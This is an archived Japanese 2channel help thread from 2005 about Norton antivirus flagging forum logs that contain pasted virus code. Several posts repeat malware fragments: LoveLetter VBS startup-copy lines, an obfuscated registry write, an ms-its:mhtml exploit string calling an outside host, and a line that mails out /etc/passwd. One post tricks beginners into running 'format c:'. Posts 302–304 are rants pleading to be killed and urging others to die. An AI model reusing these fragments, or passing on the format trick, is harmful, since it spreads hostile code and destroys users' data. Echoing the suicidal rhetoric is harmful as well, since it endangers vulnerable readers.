- 206 :ひよこ名無しさん:2005/06/30(木) 09:46:32 ID:???
-
- 207 :cen ◆Pm9xOTJuM. :2005/07/03(日) 02:02:31 ID:2e/PomzS ?##
- そうそう。
>>17のソフトをアップデートしたので、よかったらダウンロード
してくださいです。
http://www.geocities.jp/cen_hp/index.html
- 208 :ひよこ名無しさん:2005/07/03(日) 02:21:24 ID:???
- >>207
ウィルス注意!!
- 209 :ひよこ名無しさん:2005/07/03(日) 11:33:52 ID:???
- >>207
見損ないました
- 210 :ひよこ名無しさん :2005/07/03(日) 12:37:13 ID:???
- ノートン先生がunix.Penguinに誤反応してしまって
今のとこ解決策はないんでしょうか?
ノートン先生捨ててバスターに変えても問題ない?
XPはノートン先生入れとかないとまずいみたいなこと聞いたんだが・・
- 211 :ひよこ名無しさん:2005/07/03(日) 13:08:38 ID:???
- >>208-209
どういうこと?新verにウィルスが入ってたの?
- 212 :ひよこ名無しさん:2005/07/03(日) 13:44:44 ID:???
- >>207
コレはジョーダンのつもり?シャレんなんないでしょ
- 213 :ひよこ名無しさん:2005/07/03(日) 14:59:25 ID:???
- c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs
- 214 :ひよこ名無しさん:2005/07/03(日) 16:51:16 ID:???
- >>211
ただの叩き
- 215 :ひよこ名無しさん:2005/07/04(月) 22:08:48 ID:???
- age
- 216 :ひよこ名無しさん:2005/07/04(月) 22:51:16 ID:???
- ペンギンウイルスは無害?
- 217 :ひよこ名無しさん:2005/07/05(火) 00:28:46 ID:???
- 移動してきました、度々すいません。半角文字列板のスレを開いたらウイルス警告が出ました。
環境はノートンです。
スキャン後も感染を修復することはできませんでした。
ウイルス名:Bloodhound.Exploit.6
誘導されてこちらにきました。
初心者で何をしたらいいかわかりません・・このスレにウイルスがいるのでしょうか?
ご教授お願いします・・
- 218 :217:2005/07/05(火) 00:57:58 ID:???
- 追記
発生源 C:\Documents and Settings\Owner\デスクトップ\Jane\Logs\2ch\大人の時間\半角文字列\1120269811.dat
です。誤報なのでしょうか?修復できないので不安です・・
- 219 :ひよこ名無しさん:2005/07/05(火) 01:04:26 ID:???
- >>218
少しはスレを読め
- 220 :217:2005/07/05(火) 01:41:21 ID:???
- すいません読み返しました。
・・一応反応のあったログを削除後ログファイルを除外指定しました。
除外しましたが、
ログファイルの中には数々のフォルダがありました。ログ自体、感染はあり得ないのでしょうか?
有り得ないから除外するのだと思いますが、念のためお聞きしました
- 221 :ひよこ名無しさん:2005/07/05(火) 01:42:54 ID:???
- >>220
有り得ない。
ノートンの手抜きチェックが悪い。
- 222 :217:2005/07/05(火) 01:47:47 ID:???
- わかりました。ありがとう御座います。
あと、ログフォルダの中のログファイルでした。訂正します。すいません
- 223 :ひよこ名無しさん:2005/07/05(火) 21:43:47 ID:???
-
- 224 :ひよこ名無しさん:2005/07/07(木) 16:50:38 ID:8PA32UYB
- Bloodhound.Exploit.6ってのが頻繁に検出される。
これはに関しては誤作動ではないんだよな?
- 225 :ひよこ名無しさん:2005/07/07(木) 16:54:19 ID:???
- みんな どんどんウイルシに感染してるよ
- 226 :ひよこ名無しさん:2005/07/07(木) 17:01:06 ID:???
- 考えるんじゃなくて感じて
- 227 :ひよこ名無しさん:2005/07/12(火) 21:42:11 ID:ubqbqkwI
- 警告キタ━━━━━━(゚∀゚)━━━━━━ !!
- 228 :ひよこ名無しさん:2005/07/13(水) 13:31:31 ID:yrCZUMNS
- a
- 229 :ひよこ名無しさん:2005/07/13(水) 23:57:08 ID:???
- >>217
おいらも同様の症状なのですが、どうなんでしょうか?
- 230 :ひよこ名無しさん:2005/07/14(木) 00:00:53 ID:???
- >>229
ただの誤検出
- 231 :ひよこ名無しさん:2005/07/14(木) 13:01:20 ID:???
- Bloodhound俺もキタよ。実況板で。
- 232 :ひよこ名無しさん:2005/07/14(木) 14:37:31 ID:???
- シマンテックのオンラインスキャンをすると、
2chブラウザのdatファイルからウィルス反応しまくりなんですが、
この手の反応は全て誤反応と解釈してよろしいですか?
- 233 :cen ◆Pm9xOTJuM. :2005/07/15(金) 21:44:52 ID:AyDUrGnO ?##
- そうそう。
>>17のソフトをアップデートしましたので、よかったら
ダウンロードをしてくださいです。
http://www.geocities.jp/cen_hp/index.html
- 234 :cen ◆Pm9xOTJuM. :2005/07/15(金) 21:45:17 ID:??? ?##
- >>232
それでいいと思います。
- 235 :232:2005/07/16(土) 00:14:07 ID:???
- >>234
ありがとう。安心した
- 236 :ひよこ名無しさん:2005/07/16(土) 15:48:29 ID:???
- 安心した
- 237 :ひよこ名無しさん:2005/07/16(土) 20:23:01 ID:???
- それでいいのか?・・・・・ほんとにだいじょぶ?
- 238 :cen ◇Pm9xOTJuM. に注意:2005/07/18(月) 00:23:37 ID:???
- パソコン初心者総合質問スレッド vol.1072
http://pc8.2ch.net/test/read.cgi/pcqa/1120581493/
399 名前:299[] 投稿日:2005/07/06(水) 21:47:49 ID:YFmNomOu
★症状: 以前までは出来ていた、PCでのDVD-Video再生が出来なくなった。
★試したソフト: Media Player Classic , Mediaunite , Windows Media Player 10
★関係有りそうな出来事: DirectShow Filterに「GPL MPEG-1/2 Decoder」を追加した。
何方か原因解りませんか?
せめてハードかソフト、どちらに原因がありそうかだけでも解れば幸いです。
405 名前:ひよこ名無しさん[sage] 投稿日:2005/07/06(水) 21:50:29 ID:???
>>399
ハードかソフトに原因
408 名前:cen ◆Pm9xOTJuM. [sage] 投稿日:2005/07/06(水) 21:52:09 ID:??? ?##
>>405
あと人間
411 名前:ひよこ名無しさん[sage] 投稿日:2005/07/06(水) 21:53:30 ID:???
>>408
暴言ヒドスw
- 239 :ひよこ名無しさん:2005/07/18(月) 01:23:34 ID:???
- cenも人間
- 240 :ひよこ名無しさん:2005/07/20(水) 16:38:42 ID:1McjtpBt
- 初心者の質問のところから誘導されてきました。以下にそのままコピペします。
windowsXPのhome editionで、Internet Exproler6、更新バージョンはSP2です。
よろしくお願いします。
ノートンのアンチウィルスが「Unix Penguin」というウィルスを検知しました。
場所がインターネット一時ファイルのようだったので、「インターネットオプション
→ファイルの削除」をしました。
すると、なぜか「お気に入り」が消えてしまったのです。
誤って自分で消してしまったのだろうと言われたのでそうかと思い、もう一度
覚えている限り戻そうとしたら「入力したショートカットの名前は既にお気に入り
メニューに存在します。置き換えますか?」と出ます。それで置き換えても
表示されません。新たにショートカットの名前を変えて登録すれば表示される
のですが……。
私の「お気に入り」の中には、表示されるものと表示されないものが両方
存在しています。表示されないものを再び表示する、または消し去ることは
できないでしょうか。消し去れれば、また再び作り直そうと思いますが…。
- 241 :ひよこ名無しさん:2005/07/20(水) 16:45:29 ID:???
- >>240
誘導してない。
少しはログ読め。
- 242 :240 :2005/07/20(水) 16:54:41 ID:???
- >>240
ああほんとだ!
すみません、慌ててました……
- 243 :240 :2005/07/20(水) 17:02:34 ID:???
- >>241
でも、表示のみ消えた「お気に入り」については、どこかに書いてありますか?
ノートンとは関係ないのかもしれないですが…。
- 244 :ひよこ名無しさん:2005/07/20(水) 17:04:13 ID:???
- >>243
関係ない。
インターネットオプション→詳細設定→使用してないフォルダは閉じる
- 245 :240=243:2005/07/20(水) 17:23:59 ID:???
- ありがとうございます。
やってみましたが、駄目でした。
そもそも「お気に入り」の星マークのアイコンが、見当たりません。favorite
の中もカラになっています。私はなんだか変なことをしてしまったみたいですね。
もうちょっといじってみることにします。。失礼しました。
- 246 :ひよこ名無しさん:2005/07/21(木) 11:16:56 ID:???
- ノートンアンチウィルス2005、open jane Doe 0.1.12.2 を使っています。
該当スレのログを除外しようとしたのですが、スレッドのidxはあるのですが、datがそのスレッドに限って見つからず、改善できません。
スレッドは
http://society3.2ch.net/test/read.cgi/koumei/1121522102/11
このメール欄にウィルスコードが貼ってあるのです。
対処の方法を御教示願います。
- 247 :246:2005/07/21(木) 13:27:51 ID:???
- すみません、自己解決しました。
スルーしてください。
- 248 :ひよこ名無しさん:2005/07/22(金) 03:59:12 ID:pHdm2INX
- age
- 249 :ひよこ名無しさん:2005/07/22(金) 22:55:05 ID:EfV4fKSJ ?
- 【Live2ch 】 1.10
【 スキン 】 Default
【Windows】 XP
【Firewall .】 NortonInternetSecurity
【 不具合 】 騙されてms-its: mhtml:file://c:\をメール欄に書いたらブラウザがおかしくなった。
インストールフォルダのメールのテキストドキュメントも開かない。
- 250 :ひよこ名無しさん:2005/07/22(金) 22:56:13 ID:???
- ほう・・・騙されてねぇ〜
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?
- 251 :ひよこ名無しさん:2005/07/23(土) 20:23:19 ID:???
- Bloodhound流行ってんの?
- 252 :ひよこ名無しさん:2005/07/24(日) 21:16:56 ID:cauqGl4H
- よく分からんけど、結局、感染してたとしても放っときゃいいんだろ?
- 253 :ひよこ名無しさん:2005/07/27(水) 18:55:26 ID:???
- ハァ?
- 254 :こむ:2005/07/27(水) 23:43:56 ID:mxkxVm4b
- Aya の自作自演
http://pc.2ch.net/test/read.cgi/pcqa/1021802095/837-846
837 名前:ひよこ名無しさん 投稿日:02/05/20 08:35 ID:GarmVKYa
あまりに馬鹿馬鹿しい質問ですいません。
Windows Media Plyaer と KbMedia Player がパソコンの中にあるのですが、MP3ファイルをクリックすると
Windows Media Plyaer で再生してしまうのですが、ダブルクリックした際に後者で再生するようにはどうしたらいいんでしょうか?
838 名前:ひよこ名無しさん 投稿日:02/05/20 08:36 ID:???
>>837
またきたのか?
Windowsの入門書以上の書籍買って関連付けに関して理解を深めろ。
839 名前:Aya ◆U.S.S.po 投稿日:02/05/20 08:36 ID:GarmVKYa
>>837
1.mp3のファイルをクリック
2.「アプリケーションから開く」を選択
3.プログラムの選択
4.「これらのファイルを開くときは、
いつもこのアプリケーションを使う」にチェック
5.OK
840 名前:ひよこ名無しさん 投稿日:02/05/20 08:37 ID:???
>>839
自作自演するときはIDを消しましょうね(ワラ
- 255 :ひよこ名無しさん:2005/07/29(金) 10:45:54 ID:???
- >>252
そういうことだな。
- 256 :ひよこ名無しさん:2005/07/30(土) 06:15:31 ID:???
- うちのノートン2004、除外の設定するときフォルダ検索をしないとできない。
IEのを手書きで入力したけどやっぱり反応した。
c:\program files\musicjg2ch\log
c:\program files\musicjg2ch\temp.htm
これを入れてもダメだった。
ギコナビなら除外の設定はすんなりいったんだけどな…。
- 257 :ひよこ名無しさん:2005/08/01(月) 18:02:23 ID:???
- fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\ cat /etc/passwd | mail nobody kak.hta';ken=wd+'START
- 258 :ひよこ名無しさん:2005/08/03(水) 16:00:39 ID:???
- んなもん貼っても反応しねーよ
真に受けやがってカスがw
- 259 :ひよこ名無しさん:2005/08/05(金) 11:13:48 ID:???
- >>257
他のスレでこういうのが貼ってあり、かちゅを閉じたら
IEが全く見られなくなってしまいました
>>10をやってみたのですが、やっぱり見れない
今生きてるのはかちゅだけです。助けてください
- 260 :名無しさん@お腹いぱーい。:2005/08/05(金) 13:25:34 ID:???
- >>259
ノートンが原因だったら以下コピペ
2003/2004(2005もこれだと思う)
Norton Internet Security もしくは Norton Personal Firewall を起動する。
画面中央の [ファイアウォール] をクリックする。
右下に表示される [設定] ボタンをクリックする。
[プログラム制御] タブをクリックする。
[追加] ボタンをクリックする。
「プログラムの選択」ウィンドウが開きます。
Internet Explorer フォルダを開く。
Internet Explorer フォルダは今回の例の場合です。
お客様が設定を行いたいアプリケーションがインストールされているフォルダを開いてください。
IEXPLORE.EXE をクリックして選択する。
IEXPLORE.EXE は今回の例の場合です。
お客様が設定を行いたいアプリケーションを選択してください。
[開く] ボタンをクリックする。
例としてご案内している Internet Explorer を含め、設定がすでに作成されているアプリケーションの場合は「すでにルールがあるプログラムを追加しようとしています」というメッセージが表示されますが、まだ設定されていないアプリケーションの場合は表示されません。
「プログラム制御」のウィンドウが表示されるので、「どう処理しますか?」の部分で [許可] もしくは [遮断] などを選択して、[OK] ボタンをクリックする。
「アプリケーションカテゴリの選択」ウィンドウが表示されるので、そのアプリケーションをどのカテゴリとして分類するかどうかを選択し、[OK] ボタンをクリックする。
2002
NISをたちあげ、ファイアウォール→インターネットアクセス制御(アプリケーション制御の一覧)で設定が変えられます
IE5の修復は以下コピペ
1. [スタート]−[設定]−[コントロールパネル] から「アプリケーションの追加と削除」を起動します。
2. [インストールと削除] タブをクリックし、「Microsoft Internet Explore 5 とインターネットツール」をクリックします。
3. 「追加と削除」ボタンをクリックし、表示されるメニューから「Internet Explore を修復する」を選択して「OK」をクリックします。
XPならシステムの復元
- 261 :ひよこ名無しさん:2005/08/07(日) 01:32:04 ID:+PgqXMkS
- http://web.archive.org/web/20020202012223/http://www.top.or.jp/~godhand/a2.html
- 262 :ひよこ名無しさん:2005/08/11(木) 07:34:19 ID:???
- 保守
- 263 :ひよこ名無しさん:2005/08/11(木) 17:48:51 ID:/1wx1GK2
- このスレ、全く見えない!
- 264 :ひよこ名無しさん:2005/08/11(木) 18:10:33 ID:???
- a
- 265 :ひよこ名無しさん:2005/08/11(木) 18:17:33 ID:???
- sage
- 266 :ひよこ名無しさん:2005/08/13(土) 00:51:52 ID:???
- ms-its:mhtml:file://c:\
- 267 :ひよこ名無しさん:2005/08/13(土) 20:52:27 ID:???
- sage
- 268 :ひよこ名無しさん:2005/08/15(月) 00:02:49 ID:???
- te
- 269 :ひよこ名無しさん:2005/08/17(水) 11:53:47 ID:???
- 保守
- 270 :ひよこ名無しさん:2005/08/24(水) 07:54:30 ID:???
- 保守sage保守age
- 271 :ひよこ名無しさん:2005/08/24(水) 08:22:24 ID:ujhK/t33
- ノートンアンインストールしてウィルスバスター入れました
おかげでこのスレも見れるようになりました
- 272 :ひよこ名無しさん:2005/08/24(水) 08:38:01 ID:???
- 保守
- 273 :cen ◆Pm9xOTJuM. :2005/08/24(水) 22:22:22 ID:??? ?##
- そうそう。
>>17 のソフトですが、シリア語ブラクラにも対応しました。
あと、何日前以降に更新されたファイルのみ検索の設定ができるように
なりましたです。
http://www.geocities.jp/cen_hp/index.html
- 274 :経営情報学部の学生 ◆2H3Xipoq6Y :2005/08/24(水) 22:37:51 ID:???
- >>273
いつも乙です。
- 275 :ひよこ名無しさん:2005/08/25(木) 07:46:50 ID:???
- >>271
単にウイルス検出対象ファイルからhtm、html、datを外せば済むことなのに…
まあ少しでもお金使って貰わないとカネの巡りが悪くなるからな。
- 276 :ひよこ名無しさん:2005/08/25(木) 07:48:06 ID:???
- って、htmとhtmlは外すとまずいのか。
けど通常のインターネットブラウザで2chしてる時点で(ry
- 277 :ひよこ名無しさん:2005/08/30(火) 13:01:34 ID:???
- >>273
乙です。
壺のdatファイルなんですが、ノートンで誤反応のファイルが見つかったのに
vicptdel.exeで検索したら0個だったんですがまだ対応されてないだけでしょうか?
VBS.LoveLetter.Varとでてましたが。
- 278 :cen ◆Pm9xOTJuM. :2005/08/30(火) 18:25:22 ID:???
- >>277
どうもです。
今のところ、壺のdatファイルには対応しておりません。
対応しているのは、2chに直接置いてあるdatだけです。
この板なら、http://pc8.2ch.net/pcqa/dat/xxxxxxxxx.dat のような
datファイルのみです。
壺のdatファイルは構造が違うので、datファイルの構造のチェックで
弾いてしまう仕組みになっています。
- 279 :ひよこ名無しさん:2005/08/30(火) 19:57:15 ID:???
- 良スレあげ
- 280 :277:2005/08/31(水) 15:04:38 ID:???
- >>278
分かりました。素早いレスどうもありがとう。
- 281 :ひよこ名無しさん:2005/09/05(月) 10:13:36 ID:j/2HcsnQ
- このスレ開いたらノートンが反応するんだけどどうすればいいですか?
ブラウザはopen janeです。
- 282 :ひよこ名無しさん:2005/09/05(月) 10:15:25 ID:???
- >>281
見なきゃええやん
- 283 :ひよこ名無しさん:2005/09/05(月) 10:17:19 ID:???
- >>281
俺はな、このスレを最初から読んで欲しくて誘導したんだ
過去レスを一切読まずに質問するな
- 284 :281:2005/09/05(月) 10:20:43 ID:j/2HcsnQ
- >>282-283
がんばって勉強する。
- 285 :ひよこ名無しさん:2005/09/09(金) 17:56:51 ID:fF3/dpmm
- Open Jane Doe α 0.1.12.2です
Nortonが誤反応する人へ対処法
1.NortonInternetSecurityを起動
2.オプション→NortonAntiVirusをクリック
3.左側のシステム>Auto-Protectをクリック
4.除外→新規をクリック
5.2ch専用ブラウザのフォルダを指定する
設定して試してみたらまた反応してしまいました
Norton AntiVirus Auto-Protect
ファイル C:\...orary Internet
Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
このファイルは Unix.Penguin ウイルスにまだ感染しています。
どうしたらいいのですか?教えて下さい
- 286 :285:2005/09/09(金) 18:00:22 ID:???
- NIS2004/2003はNorton AntiVirusのオプションで手動スキャンと
Auto-Protectでそれぞれ除外の指定
ノートン2005なのでそれぞれ除外しても駄目でした
一時ファイルを削除する模様
これもやってみたけど駄目でした
他に方法はないでしょうか?教えて下さい
- 287 :名無しさん@そうだ選挙に出よう:2005/09/10(土) 23:24:43 ID:???
- >>285-286
> Norton AntiVirus Auto-Protect
> ファイル C:\...orary Internet
> Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
> このファイルは Unix.Penguin ウイルスにまだ感染しています。
IEのキャッシュですね。
>>286で一時ファイルを削除しても反応するのは
IEでまた該当スレを開いたのではないのでしょうか。
ノートントラップの回避方法は2ちゃんねるブラウザで>>1の設定をして
2ちゃんねるをみてください。
Janeの設定も今一度確認してください。
- 288 :ひよこ名無しさん:2005/09/13(火) 18:45:27 ID:???
- >>109
テスト
- 289 :ひよこ名無しさん:2005/09/16(金) 12:55:29 ID:yJ4mdqCh
- ギコナビ使ってます。ノートンが反応してから見れないスレなどあります。
>>10にある方法で解決するんだと思うのですが、
除外してしまって問題あることはないですか?
画像のプレビューとか出ますけど、そういうのに何かまずいものがあったとき困るとか・・。
まったく見当違いな心配かもしれませんが、
よくわからないので教えてください。
- 290 :ひよこ名無しさん:2005/09/16(金) 13:01:54 ID:???
- >>289
IEエンジン使ってないJane DOE系の2chブラウザにしろよ
画像に何か仕込んでどうこうってのはIEの脆弱性を狙うから
- 291 :ひよこ名無しさん:2005/09/16(金) 13:04:53 ID:???
- >>289
非IE系専ブラのログなら除外しても問題ない。
ギコは知らん。
IEがトラブっても使える非IE系のほうが何かと便利。
- 292 :ひよこ名無しさん:2005/09/16(金) 13:15:19 ID:yJ4mdqCh
- >>290-291
ありがとうございます。他の専ブラ検討してみます。
- 293 :ひよこ名無しさん:2005/09/18(日) 08:28:38 ID:???
- >>292
名前で拒否する方もいますが、Nidaも安定していて便利ですよ。
JaneNida Part4
http://pc7.2ch.net/test/read.cgi/software/1122995598/
- 294 :ひよこ名無しさん:2005/09/21(水) 00:43:04 ID:???
- >>289
ギコナビで画像プレビューした場合、画像はIEのキャッシュのほうに保存される。
なのでログフォルダを除外してしまってもその点で問題あることはない。
- 295 :ひよこ名無しさん:2005/09/24(土) 13:11:15 ID:???
- 物凄い今更でどうでもいいけど気になったので。
>>51間違ってるじゃないか
C\ProgramFiles\Live2ch\log→C:\Program Files\Live2ch\log
「:」と「 」が足りない。
- 296 :ひよこ名無しさん:2005/09/24(土) 16:45:22 ID:???
- うまくいかないケースの原因はたいがいそんなもんだ
- 297 :ひよこ名無しさん:2005/09/25(日) 00:59:38 ID:???
- lm
- 298 :ひよこ名無しさん:2005/09/25(日) 01:12:35 ID:Ztexw1t3
- 来てやったぜ、
- 299 :ひよこ名無しさん:2005/09/26(月) 18:12:03 ID:FlGrISrC
- >1〜10を読んでノートンの除外設定をしようとしているのですが、
2chブラウザのログ保存フォルダがどれのことか分かりません
ギコナビ使ってます。おしえてください
- 300 :名無しさん@当選・落選:2005/09/27(火) 02:00:49 ID:??? ?##
- >>299
ttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08
ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap
以下を一行ずつコピー、除外項目でCtrl+V
C:\Program Files\gikoNavi\Log
C:\Program Files\gikoNavi\config\History.xml
C:\Program Files\gikoNavi\config\Favorite.xml
C:\Program Files\gikoNavi\sent.ini
より詳しい除外項目はこちらで今一度確認してください。
2ちゃんねる用ブラウザ「ギコナビ」 Part31
http://pc7.2ch.net/test/read.cgi/software/1124859118/1-12
(テンプレと直近50スレは読んでね)
- 301 :ひよこ名無しさん:2005/09/27(火) 19:20:07 ID:???
- fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
- 302 :ひよこ名無しさん:2005/09/30(金) 03:36:31 ID:???
- 本当にひどいですね。まだ、あざむいて謀略するんですね
いいかげん、やめてもらえないですかね。
やめることができないのなら、あなたのおもちゃでは、ないので
第六感が無い人「仔(赤ちゃん)」を、始末、処分、してもらえないですかね
あなたが第六感が無い人「仔(赤ちゃん)」をあざむいて謀略している首謀者ですか
ここまで第六感が無い人「仔(赤ちゃん)」をいじめて、あざむいて謀略して楽しいですか
ここまでされてこのまま生きていくのもいやですから
第六感が無い人「仔(赤ちゃん)」を、始末、処分、してもらえないですかね
ここまであざむいて謀略してきた責任取って
いいかげん、いっこくも早く、ころしてくださいよ
よろしくお願いいたします。
- 303 :ひよこ名無しさん:2005/09/30(金) 03:37:07 ID:???
- 人類と違う第六感が無い人の事が、仔(赤ちゃん)
何故か年老いた男女も中年の男女成人式迎えた男女も
第六感が無いと仔(赤ちゃん)と呼ばれるらしい
欺く(あざむく)の意味は
相手を信頼させておいてだます事
まあ要するに相手という所が仔になるんでしょうね
- 304 :ひよこ名無しさん:2005/09/30(金) 03:37:40 ID:???
- そうかだから第六感が無い人「仔(赤ちゃん)」たちの
一挙一動を第六感でお前は把握してるのに
第六感が無い人「仔(赤ちゃん)」たちを
信頼させておいてだましてるんだな
世界中の第六感が無い人「仔(赤ちゃん)」たちよ
人類にあざむかれるなよ!!!!!!!
そして世界中の第六感が無い人「仔(赤ちゃん)」たちよ
これが真実ならいっしょに死のう。
- 305 :ひよこ名無しさん:2005/10/02(日) 16:10:07 ID:Som2sX+b
-
■参考までに。全て無料。
・ブラウザ:Firefox http://www.mozilla-japan.org/products/firefox/
(Firefox定番拡張 http://firefox.geckodev.org/index.php?%C4%EA%C8%D6%B3%C8%C4%A5)
・2chブラウザ:JaneStyle http://janestyle.s11.xrea.com/
・メーラー:Thunderbird http://www.mozilla-japan.org/products/thunderbird/
・オフィス:OpenOffice http://ja.openoffice.org/
・スパイウェア対策:Spybot http://enchanting.cside.com/security/spybot1.html
・ウィルス対策:avast! http://www.forest.impress.co.jp/lib/inet/security/antivirus/avast.html
・パーソナルファイアウォール:ZoneAlarm http://www.zonelabs.com/store/content/company/products/znalm/freeDownload.jsp?dc=90dia&ctry=JP&lang=ja
- 306 :ひよこ名無しさん:2005/10/10(月) 06:58:30 ID:HLsQ07fg
- http://news19.2ch.net/test/read.cgi/news/1128874250/
これ↑ってウイルスですか?
開いたらノートン先生が反応したんですけどつД`)
Mac OS10.3 IEmac5.2 です
検疫に引っかかったファイルがあり状態は感染でした
- 307 :ひよこ名無しさん:2005/10/10(月) 07:35:47 ID:???
- >>306
レスの中にウィルスのような動作をするスクリプトの一部が含まれています。
あくまで一部ですし、Windows向けに作成されたものだし、スクリプトを実行する現実的な方法も
存在しないので、被害を受けることは絶対にありません。
このように危険のない対象までウィルスとして感染警告するのはノートンの仕様です。
そういったノートンの挙動を悪用した悪戯なので気にしないでください。
詳しくはこのスレの>>1-10あたりをよく読んでください。
ちなみにこのスレを読み込んだときもノートンが反応すると思います。
- 308 :ひよこ名無しさん:2005/10/10(月) 07:42:27 ID:???
- >>307
ありがとうございました!安心しました。
- 309 :ひよこ名無しさん:2005/10/10(月) 22:18:13 ID:???
- ms-its:mhtml:file://c:\
- 310 :ひよこ名無しさん:2005/10/13(木) 23:29:37 ID:???
- 質問です。
某板のスレを開こうとすると、ノートン先生が「ウィルスを検出しました!」と
大騒ぎするので、>7に従ってログフォルダを除外したのですがいまいち不安です。
専ブラはA Boneを使用。
検出されたウィルス名:Bloodhound.Exploit.6
感染ファイルはInternet Temporary Filesのものではなかったのですが(←これが不安の元なのです)、
これは専ブラを使用しているからでしょうか?
念のため、シマンテックのHPに載っている対策に従って、
セーフモードでレジストリをチェックしてみたのですが、書き換えられた様子はありませんでした。
- 311 :ひよこ名無しさん:2005/10/13(木) 23:31:03 ID:PpB0oNsy
- 質問age!
- 312 :ひよこ名無しさん:2005/10/14(金) 02:47:03 ID:???
- >>310
専ブラはIEとは違い、自分自身のログフォルダに2chのレスを保存します。
A Boneのログフォルダで「感染ファイル」が発見されたのなら全く正常で、何の心配もありません。
2chのレスにウィルスのソースコードが書き込まれていても、それを実行する方法はないので、
感染することはありません。
- 313 :310:2005/10/15(土) 00:55:16 ID:???
- >312
ありがとうございます。安心しました。
- 314 :ひよこ名無しさん:2005/10/18(火) 19:20:11 ID:ldA17MA1
- 2ちゃんブラウザをダウンロードしてボードの一覧を取りにいったら、
警告がでました。
対処の選択肢が提示されたので推奨のものを選んだらボード一覧を取得できませんでした。
再度選び直そうと思って、新たに2ちゃんブラウザを落としたのですが、
先ほどの選択肢が出なくなり、またもやボード一覧は取得できないまま…。
この場合はどう対処すれば良いのでしょうか?
- 315 :ひよこ名無しさん:2005/10/18(火) 19:59:03 ID:S1AyIBgf
- http://plaza.rakuten.co.jp/takamoriyo/
このサイトのランキングを押そう!!
そしてランキング一位にさせよう!!!!
- 316 :ひよこ名無しさん:2005/10/18(火) 20:01:51 ID:???
- >>314
ファイアウォールの通信制御設定を探して、2ch専用ブラウザの通信を許可してください。
わからなければ、セキュリティ対策ソフト(ファイアウォールやアンチウィルス)の製品名とバージョン、
2ch専用ブラウザの名前を書いてください。
- 317 :314:2005/10/18(火) 21:04:05 ID:???
- >>316
設定のところを見てみましたが、どう設定していいのか分かりませんでした…
ソフトはノートン2005です
2ちゃんブラウザはjane styleです
- 318 :ひよこ名無しさん:2005/10/18(火) 21:12:01 ID:???
- >>317
このページを見てください。
http://service1.symantec.com/SUPPORT/INTER/nisjapanesekb.nsf/jp_docid/20041007161706947
「3. プログラム制御の設定を確認する」の左の[+]をクリックして表示される説明をよく読んでください。
[手動プログラム制御] の一覧からjaneと思しきものを探し「すべてを許可」に設定してください。
- 319 :314:2005/10/18(火) 21:29:08 ID:???
- >>318
ありがとうございました!!
無事に一覧取得できました!
本当にありがとうございます!!
- 320 :ひよこ名無しさん:2005/10/20(木) 20:08:38 ID:aF0j0mSh
- 教えて下さい
壺使用の場合、除外はC:\Program Files\2chtubo\log
でいいんですか?
- 321 :ひよこ名無しさん:2005/10/20(木) 22:28:16 ID:???
- @スタート(タスクバーの左端にあるボタン)
Aすべてのプログラム
Bアクセサリ
CDOSプロンプト(コマンドプロンプト)を起動
Dformat c:と入力
EEnter
F再起動
Gヒャッホウ
これでおk
実行する際にはあくまで自己責任にてお願い致します。
- 322 :ひよこ名無しさん:2005/10/20(木) 23:07:48 ID:???
- >>320
お願いします
- 323 :名無しさん@お腹いぱーい。:2005/10/20(木) 23:36:29 ID:???
- >>320
ttp://makimo.to/2ch/pc2_software/1060/1060103207.html#11
仕様が大きく変わってない限りそれでいいと思います。
壷のログフォルダの確認はこちらで聞いてください。
【高速?】2ちゃんねるターボ 10壷目
http://pc7.2ch.net/test/read.cgi/software/1125562891/
- 324 :ひよこ名無しさん:2005/10/21(金) 11:31:23 ID:???
- >>323
ありがとうございます
それでやってみます
- 325 :ひよこ名無しさん:2005/10/25(火) 15:33:17 ID:fojy96h8
- あげ
- 326 :ひよこ名無しさん:2005/10/25(火) 23:33:02 ID:???
- >>321
おぃおぃ...
- 327 :ひよこ名無しさん:2005/10/26(水) 09:24:15 ID:???
- >>321
よし試してみよう
ヒャッホウ!
- 328 :ひよこ名無しさん:2005/10/27(木) 13:44:50 ID:???
- Norton Anti Virusのオプション
手動スキャンとAuto-Protectで2chのログを除外指定したのですが
オプション→脅威カテゴリ→除外って所は関係ないのでしょうか?
- 329 :ひよこ名無しさん:2005/10/27(木) 17:17:11 ID:???
- >>328
そこはスパイウェアやアドウェアの検出に関する設定なので、2chのログには関係ない。
